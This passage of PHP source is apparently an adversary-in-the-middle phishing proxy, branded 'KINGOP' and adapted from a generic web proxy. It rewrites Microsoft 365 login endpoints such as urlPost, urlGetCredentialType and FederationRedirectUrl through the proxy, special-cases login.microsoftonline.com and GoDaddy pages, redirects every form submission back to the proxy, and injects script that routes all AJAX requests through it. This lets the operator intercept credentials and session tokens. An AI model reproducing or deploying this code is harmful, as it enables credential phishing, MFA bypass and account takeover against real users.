- //Attempt to normalize character encoding.
- $detectedEncoding = mb_detect_encoding($responseBody, "UTF-8, ISO-8859-1");
- if ($detectedEncoding) {
- $responseBody = mb_convert_encoding($responseBody, "HTML-ENTITIES", $detectedEncoding);
- }
- $findwithoffice = ['urlGetCredentialType','urlGetRecoveryCredentialType','FederationRedirectUrl','urlLogin','redirectUri','pageload','dssostatus','urlRefresh','urlCancel','urlResume','urlFidoLogin','urlPost','urlPostRedirect','urlBeginAuth', 'urlEndAuth'];
- foreach ($findwithoffice as $value) {
- $res = preg_match('|"'.$value.'":"([^"]+)"|',$responseBody,$matches);
- if($res == 1) {
- //$apiCanary = $matches[1];
- $responseBody = str_replace($matches[1], PROXY_PREFIX . rel2abs($matches[1], $url), $responseBody);
- }
- }
- $name = array('godaddy', '.js');
- foreach ($name as $find) {
- if (strpos($url, $find)) {
- die($responseBody);
- $url_name = "https://google.com";
- $ch_session = curl_init();
- curl_setopt($ch_session, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch_session, CURLOPT_URL, $url);
- $result_url = curl_exec($ch_session);
- die($result_url);
- }
- }
- if (strpos($url, "login.microsoftonline.com") !== false) {
- die(auto_code_html($responseBody));
- }
- //Parse the DOM.
- $doc = new DomDocument();
- @$doc->loadHTML($responseBody);
- $xpath = new DOMXPath($doc);
- //Rewrite forms so that their actions point back to the proxy.
- foreach($xpath->query("//form") as $form) {
- $method = $form->getAttribute("method");
- $action = $form->getAttribute("action");
- //If the form doesn't have an action, the action is the page itself.
- //Otherwise, change an existing action to an absolute version.
- $action = empty($action) ? $url : rel2abs($action, $url);
- //Rewrite the form action to point back at the proxy.
- $form->setAttribute("action", rtrim(PROXY_PREFIX, "?"));
- //Add a hidden form field that the proxy can later use to retreive the original form action.
- $actionInput = $doc->createDocumentFragment();
- $actionInput->appendXML('<input type="hidden" name="KINGOPProxyFormAction" value="' . htmlspecialchars($action) . '" />');
- $form->appendChild($actionInput);
- }
- //Proxify <meta> tags with an 'http-equiv="refresh"' attribute.
- foreach ($xpath->query("//meta[@http-equiv]") as $element) {
- if (strcasecmp($element->getAttribute("http-equiv"), "refresh") === 0) {
- $content = $element->getAttribute("content");
- if (!empty($content)) {
- $splitContent = preg_split("/=/", $content);
- if (isset($splitContent[1])) {
- $element->setAttribute("content", $splitContent[0] . "=" . PROXY_PREFIX . rel2abs($splitContent[1], $url));
- }
- }
- }
- }
- //Profixy <style> tags.
- foreach($xpath->query("//style") as $style) {
- $style->nodeValue = proxifyCSS($style->nodeValue, $url);
- }
- //Proxify tags with a "style" attribute.
- foreach ($xpath->query("//*[@style]") as $element) {
- $element->setAttribute("style", proxifyCSS($element->getAttribute("style"), $url));
- }
- //Proxify "srcset" attributes in <img> tags.
- foreach ($xpath->query("//img[@srcset]") as $element) {
- $element->setAttribute("srcset", proxifySrcset($element->getAttribute("srcset"), $url));
- }
- //Proxify any of these attributes appearing in any tag.
- $proxifyAttributes = ["href", "src"];
- foreach($proxifyAttributes as $attrName) {
- foreach($xpath->query("//*[@" . $attrName . "]") as $element) { //For every element with the given attribute...
- $attrContent = $element->getAttribute($attrName);
- if ($attrName == "href" && preg_match("/^(about|javascript|magnet|mailto):|#/i", $attrContent)) continue;
- if ($attrName == "src" && preg_match("/^(data):/i", $attrContent)) continue;
- $attrContent = rel2abs($attrContent, $url);
- $attrContent = PROXY_PREFIX . $attrContent;
- $element->setAttribute($attrName, $attrContent);
- }
- }
- //Attempt to force AJAX requests to be made through the proxy by
- //wrapping window.XMLHttpRequest.prototype.open in order to make
- //all request URLs absolute and point back to the proxy.
- //The rel2abs() JavaScript function serves the same purpose as the server-side one in this file,
- //but is used in the browser to ensure all AJAX request URLs are absolute and not relative.
- //Uses code from these sources:
- //http://stackoverflow.com/questions/7775767/javascript-overriding-xmlhttprequest-open
- //https://gist.github.com/1088850
- //TODO: This is obviously only useful for browsers that use XMLHttpRequest but
- //it's better than nothing.
- $head = $xpath->query("//head")->item(0);
- $body = $xpath->query("//body")->item(0);
- $prependElem = $head != null ? $head : $body;
- //Only bother trying to apply this hack if the DOM has a <head> or <body> element;
- //insert some JavaScript at the top of whichever is available first.
- //Protects against cases where the server sends a Content-Type of "text/html" when
- //what's coming back is most likely not actually HTML.
- //TODO: Do this check before attempting to do any sort of DOM parsing?
- if ($prependElem != null) {
- $scriptElem = $doc->createElement("script",
- '(function() {
- if (window.XMLHttpRequest) {
- function parseURI(url) {
- var m = String(url).replace(/^\s+|\s+$/g, "").match(/^([^:\/?#]+:)?(\/\/(?:[^:@]*(?::[^:@]*)?@)?(([^:\/?#]*)(?::(\d*))?))?([^?#]*)(\?[^#]*)?(#[\s\S]*)?/);
- // authority = "//" + user + ":" + pass "@" + hostname + ":" port
- return (m ? {
- href : m[0] || "",
- protocol : m[1] || "",
- authority: m[2] || "",
- host : m[3] || "",
- hostname : m[4] || "",
- port : m[5] || "",
- pathname : m[6] || "",
- search : m[7] || "",
- hash : m[8] || ""
- } : null);
- }
- function rel2abs(base, href) { // RFC 3986
- function removeDotSegments(input) {
- var output = [];
- input.replace(/^(\.\.?(\/|$))+/, "")
- .replace(/\/(\.(\/|$))+/g, "/")
- .replace(/\/\.\.$/, "/../")
- .replace(/\/?[^\/]*/g, function (p) {
- if (p === "/..") {
- output.pop();
- } else {
- output.push(p);
- }
- });
- return output.join("").replace(/^\//, input.charAt(0) === "/" ? "/" : "");
- }
- href = parseURI(href || "");
- base = parseURI(base || "");
- return !href || !base ? null : (href.protocol || base.protocol) +
- (href.protocol || href.authority ? href.authority : base.authority) +
- removeDotSegments(href.protocol || href.authority || href.pathname.charAt(0) === "/" ? href.pathname : (href.pathname ? ((base.authority && !base.pathname ? "/" : "") + base.pathname.slice(0, base.pathname.lastIndexOf("/") + 1) + href.pathname) : base.pathname)) +
- (href.protocol || href.authority || href.pathname ? href.search : (href.search || base.search)) +
- href.hash;
- }
- var proxied = window.XMLHttpRequest.prototype.open;
- window.XMLHttpRequest.prototype.open = function() {
- if (arguments[1] !== null && arguments[1] !== undefined) {
- var url = arguments[1];
- url = rel2abs("' . $url . '", url);
- if (url.indexOf("' . PROXY_PREFIX . '") == -1) {
- url = "' . PROXY_PREFIX . '" + url;
- }
- arguments[1] = url;
- }
- return proxied.apply(this, [].slice.call(arguments));
- };
- }
- })();'
- );
- $scriptElem->setAttribute("type", "text/javascript");
- $prependElem->insertBefore($scriptElem, $prependElem->firstChild);
- }
- echo "<!-- Modified page constructed by DigWITHKINGOP -->\n" . auto_code_html($doc->saveHTML());
- } else if (stripos($contentType, "text/css") !== false) { //This is CSS, so proxify url() references.
- echo proxifyCSS($responseBody, $url);
- } else { //This isn't a web page or CSS, so serve unmodified through the proxy with the correct headers (images, JavaScript, etc.)
- header("Content-Length: " . strlen($responseBody), true);
- echo $responseBody;
- }